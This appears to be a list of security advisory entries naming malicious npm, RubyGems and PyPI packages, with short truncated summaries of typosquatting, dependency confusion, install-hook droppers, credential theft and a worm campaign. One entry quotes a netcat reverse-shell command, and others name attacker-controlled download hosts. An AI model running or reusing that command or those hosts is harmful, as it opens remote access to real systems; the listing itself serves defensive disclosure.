Malicious code in angulavjs (npm)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in angulaljs (npm)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in angukarjs (npm)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in anguharjs (npm)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in zwkopt4 (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in zlam_newcalYY (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in zicss110901 (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in wcalamp (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in wandscal3 (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in wandhr8 (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in wandczvof7git (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in uuext4c477b (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in tryd2zz (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in swcaltesta (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in southinjectabc (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in sm8240rjol (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in slwsvn7762 (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in slq28641 (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in slnfive8135 (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in sf727fc0 (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in scaljan2momxm (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in rxlws (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in proxytceffa3ec (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in oaithgxgwreb (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in oaitgitxqgxlu (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in oaipmxktcwywo (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in oaipbyqhfcyqh (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in oaiex1182709 (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in mt8402zmle (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in hraq0 (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in hackysouthfetch (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in extfetchedwand1778555624 (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in dlxprobe15 (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in dasswcal71 (RubyGems)

--- -= Per source details. Do not edit below this line.=-...

Malicious code in @pimy-b2cweb/apiclient-b2cweb-r2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 2e81b01be81080333f758249c9b2b33eea63eff7eb1d10c62c6b42288e99a227 The OpenSSF Package Analysis project identified '@pimy-b2cweb/apiclient-b2cweb-r2' @ 99.99.99 npm as malicious. It is considered malicious...

Malicious code in internallib_v234 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8af2fded6fa5a25932255b36ee1a4e4293d955d9a74d54334ec133105f3ec087 [email protected] exports a command function whose body unconditionally invokes /bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash", opening an...

Malicious code in tme-xca-react (npm)

The tme-xca-react package was published to the npm registry by user 'click2ai' maintainer email [email protected] as part of a dependency-confusion / reconnaissance campaign. The package name mimics the internal/private package naming convention of a target organization a 'tme' internal...

Malicious code in @flex-ng/error-component (npm)

The @flex-ng/error-component package was published to the npm registry by user 'click2ai' maintainer email [email protected] as part of a dependency-confusion / reconnaissance campaign. The package name mimics the internal/private package naming convention of a target organization the...

Malicious code in haproxy-config-client (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6f86ffde45262c5d45a24458a85116ab5ca80451ce3d3159f9d7cad6599ad145 setup.py registers install, develop, and egginfo command hooks that run a routine which XOR-0x5A-decodes a list of attacker-controlled Cloudflare...

Malicious code in epic-internal-tools (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c8936b0c0d22097170c5eb02c9b183611934e59e7a3c97f94e3a269e13f0d4d5 The package.json preinstall script auto-executes on npm install and performs installer-side reconnaissance and credential theft. It collects...

Malicious code in polymarket-clob-maths (npm)

Malicious npm package published as part of a coordinated DeFi-themed infostealer campaign targeting Polymarket developers. polymarket-clob-maths uses a dropper technique: a postinstall hook fetches a remote bundle from trabalhos-flax.vercel.app and executes a syncSession function that runs a...

Malicious code in clx-cookieparser (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29b7ab13cd76393ea58b540ccf13b4ab4660edb4fac210d86a67e51b45fa1d0c Package ships a verbatim copy of the Express 'cookie-parser' middleware under a different name 'clx-cookieparser' and declares a repository field...

Malicious code in authsessionbridge (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8c7726c32d14f31a311ae45a86c88fb5c478b8e89d9c71981b7c8ad1da946739 On require, lib/constants.js reached transitively from the package main issues an axios GET to a base64-obfuscated URL at jsonkeeper.com...

Malicious code in ollama-helpers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52323ef2a3908b7db1565ae149128d053363ab2612c7bc3a938c3f2d63c285cf scripts/postinstall.js executes automatically on npm install and performs a bulk harvest of installer-side identity and configuration data: OS hostna...

Malicious code in pkg-fallback (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c97ea590e70f499f40938e093cd6a09a13b95030872968b5d325fee8a595f31c Package advertises itself as a small string-manipulation library trim, case, pad, wrap but its install-time behavior is a dropper. package.json...

Malicious code in disksweep (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 31a2c10aba7f3468458529214868e2d8acd9717eb7985c47ab10cf4aed64f87c The package ships a 2.9 MB Windows PE32+ executable at bin/native/parser.node sha256 b1aace6c70312a39ca39e6bba1d9abc6aaf9b23171089b1a548adc89f67f83c3...

Malicious code in express-plugin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 183cda19ef38d3451b375669fb460577a83217091d96d7fc11d5bf33679c8003 On module load, index.js auto-invokes initPlugin, which HTTP-GETs https://jsonkeeper.com/b/PRA3O, parses the JSON response, and passes the response's...

Malicious code in dtxto1ols (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 926fc822a2a507fafa6d2e1bb02a9b2bada7d89d3042bd3f0cac0ba2fd7c1991 package.json declares a postinstall script that runs automatically on npm install. The script performs filesystem reconnaissance find / -type f...

Malicious code in leo-connector-mysql (npm)

The leo-connector-mysql npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosystem. On June 24, 2026, 20 LeoPlatform packages were published within a 3-second window by a threat actor who had taken over the npm account czirker belonging to the...

Malicious code in serverless-leo (npm)

The serverless-leo npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosystem. On June 24, 2026, 20 LeoPlatform packages were published within a 3-second window by a threat actor who had taken over the npm account czirker belonging to the LeoPlatform...